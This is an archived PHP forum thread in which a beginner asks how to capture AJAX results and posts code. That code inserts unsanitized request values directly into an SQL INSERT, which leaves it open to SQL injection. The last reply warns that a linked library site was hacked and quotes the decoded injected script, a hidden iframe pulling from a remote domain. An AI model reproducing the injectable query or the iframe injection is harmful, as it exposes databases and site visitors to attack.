Current location: Hot Scripts Forums » Programming Languages » PHP » getting values from ajax


getting values from ajax

Reply
  #1 (permalink)  
Old 09-17-09, 02:53 AM
hemi hemi is offline
Wannabe Coder
 
Join Date: Aug 2009
Posts: 117
Thanks: 15
Thanked 0 Times in 0 Posts
getting values from ajax

iam getting values from ajax how to store them in variables according to my code
__________________________________________________ ___________
HTML Code:
<table align=center width=300 border=1> <tr> <td width=125 >Weight of <br>Empty Bottle</td> 
	
	
<td align=center width=50><font size=3>[W</font><font size=1>0</font>]</td>



<td align=center>[g]</td><td><input name=one type=text size="10" value='' id='a'></td>
<tr> <td > Bottle + Dry <br>Powder</td> 
<td align=center width=50><font size=3>[W</font><font size=1>1</font>]</td>
	
<td align=center>[g]</td><td><input name=one type=text size=10 value='' id='b'></td></tr>

<tr> <td >Specific Gravity of Liquid</td> 
<td align=center width=50><font size=3>[P</font><font size=1>1</font>]</td>
<td align=center>[g/cm3]</td>
<td ><input name=one2 type=text size="10"  value='' id='c'></td> 
</tr>
</table>
 </td>
<td width=50 > 

</td>
 <td>
<table align=center width=300 border=1> <tr> <td width=125 >Weight of <br>Empty Bottle</td> 
<td align=center width=50><font size=3>[W</font><font size=1>2</font>]</td>
<td align=center>[g]</td><td><input name=one type=text size="10" value=''  id='d'></td>
<tr> <td > Bottle + Dry <br>Powder</td> 
<td align=center width=50><font size=3>[W</font><font size=1>3</font>]</td>
<td align=center>[g]</td><td><input name=one type=text size=10
value=''  id="user" onblur='getContent("GET","scheduleexist.php?a="+document.getElementById("a").value+"&b="+document.getElementById("b").value+"&c="+document.getElementById("c").value+"& d="+document.getElementById("d").value+"&user="+document.getElementById("user").value,"r");'></td></tr>
<tr> <td >Specific Gravity of Liquid</td> 
<td align=center width=50><font size=3>[P</font><font size=1>s</font>]</td>

echo"<td align=center>[g/cm3]</td> <td   id=r>    </td>
                                                         -----
_______________________
i want that to be stored in a php variable can i store it.
One more thing there r no submit button in this page values are generated dynamically.

Last edited by Nico; 09-17-09 at 06:41 AM.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiShare on FacebookShare on Stumble UponShare on Twitter
Reply With Quote
  #2 (permalink)  
Old 09-17-09, 07:03 AM
wirehopper's Avatar
wirehopper wirehopper is offline
-
 
Join Date: Feb 2006
Posts: 2,516
Thanks: 20
Thanked 109 Times in 106 Posts
Please post your PHP, too.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiShare on FacebookShare on Stumble UponShare on Twitter
Reply With Quote
  #3 (permalink)  
Old 09-17-09, 09:00 AM
hemi hemi is offline
Wannabe Coder
 
Join Date: Aug 2009
Posts: 117
Thanks: 15
Thanked 0 Times in 0 Posts
Quote:
Originally Posted by wirehopper View Post
Please post your PHP, too.
this is my php file that ajax is calling

PHP Code:



<?php
    
    
include("not.php");
    include(
"db.php");
//echo"sss $_REQUEST[a] <br>";    
    
 
$w0=$_REQUEST["a"];
 
$w1=$_REQUEST["b"];
 
$w2=$_REQUEST["d"];
 
$w3=$_REQUEST['user'];
 
$p1=$_REQUEST["c"];
 
//echo"sss $w0 <br>";
// echo"sss $w1<br>";
// echo"sss $w2<br>";
// echo"sss $w3 <br>";
 //echo"sss $p1 <br>";
$gg=$w1-$w0;

 if(
$gg==|| $gg=="")
 {
     
 echo
"<center>null</center>";    
     
 }    
     
     else
     {
          
 
$p2= (($gg)/(($w3-$w0)-($w2-$w1)))*$p1;
 
 
$re=ceil($p2);
 echo
"<h4><br><center>$re</center></h4> <br>";

//echo"INSERT INTO cement(ps,w0,w1,p1,w2,w3)VALUES('$re','$w0','$w1','$p1','$w2','$w3') orderby id desc"
$re=mysql_query("INSERT INTO cement(ps,w0,w1,p1,w2,w3)VALUES('$re','$w0','$w1','$p1','$w2','$w3')");

}




    
        exit();        
    
    
?>

Last edited by wirehopper; 09-17-09 at 12:23 PM.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiShare on FacebookShare on Stumble UponShare on Twitter
Reply With Quote
  #4 (permalink)  
Old 09-17-09, 12:25 PM
wirehopper's Avatar
wirehopper wirehopper is offline
-
 
Join Date: Feb 2006
Posts: 2,516
Thanks: 20
Thanked 109 Times in 106 Posts
Is there any javascript sending the values to PHP?
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiShare on FacebookShare on Stumble UponShare on Twitter
Reply With Quote
  #5 (permalink)  
Old 09-18-09, 12:55 AM
hemi hemi is offline
Wannabe Coder
 
Join Date: Aug 2009
Posts: 117
Thanks: 15
Thanked 0 Times in 0 Posts
there is no javascript
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiShare on FacebookShare on Stumble UponShare on Twitter
Reply With Quote
  #6 (permalink)  
Old 09-18-09, 04:17 AM
UnrealEd's Avatar
UnrealEd UnrealEd is offline
Community Liaison
 
Join Date: May 2005
Location: Antwerp, Belgium
Posts: 3,165
Thanks: 4
Thanked 25 Times in 25 Posts
then you should google for an "AJAX tutorial" or something similar. It's not that hard to create, so you'll get the hang of it pretty soon.
__________________
"Good judgement comes from experience, and experience comes from bad judgement." - Fred Brooks

Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiShare on FacebookShare on Stumble UponShare on Twitter
Reply With Quote
  #7 (permalink)  
Old 09-19-09, 10:15 PM
End User's Avatar
End User End User is offline
Level II Curmudgeon
 
Join Date: Dec 2004
Posts: 3,027
Thanks: 14
Thanked 35 Times in 33 Posts
I highly recommend "SACK": http://www.twilightuniverse.com/?page_id=243

Although this time when I went there AVG said it detected a threat, "Exploit link to known threat site". Looks like maybe he got hacked.

After a little checking, yep, he's been hacked with some eval script garbage, which decodes to this:

window.status='Done';document.write('<iframe name=aab072dcc src=\'http://besenok.org/stds/go.php?sid=1&'+Math.round(Math.random()*125325)+'c 065aa22eaca\' width=557 height=225 style=\'display: none\'></iframe>')
__________________
I don't live on the edge, but sometimes I go there to visit.
-------------------------------------------------------------------------
Sanitize Your Data | Oracle Date & Substring Functions | Code Snippet Library | [url=http://www.codmb.com/Call Of Duty[/url]

Last edited by End User; 09-19-09 at 10:17 PM.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiShare on FacebookShare on Stumble UponShare on Twitter
Reply With Quote
Reply

Bookmarks


Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On

Forum Jump

Similar Threads
Thread Thread Starter Forum Replies Last Post
Problem with Auto Dealer Script nuzzle PHP 17 04-14-10 09:34 PM
[SOLVED] Friend to Friend Shortest Path sandeep.kumar Database 51 01-15-09 04:12 AM
Ajax....changing values of php variables sushi4664 JavaScript 1 08-09-07 01:04 AM
MySQL table problem perleo PHP 9 12-16-03 02:16 PM


All times are GMT -5. The time now is 08:49 AM.
vBulletin® Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.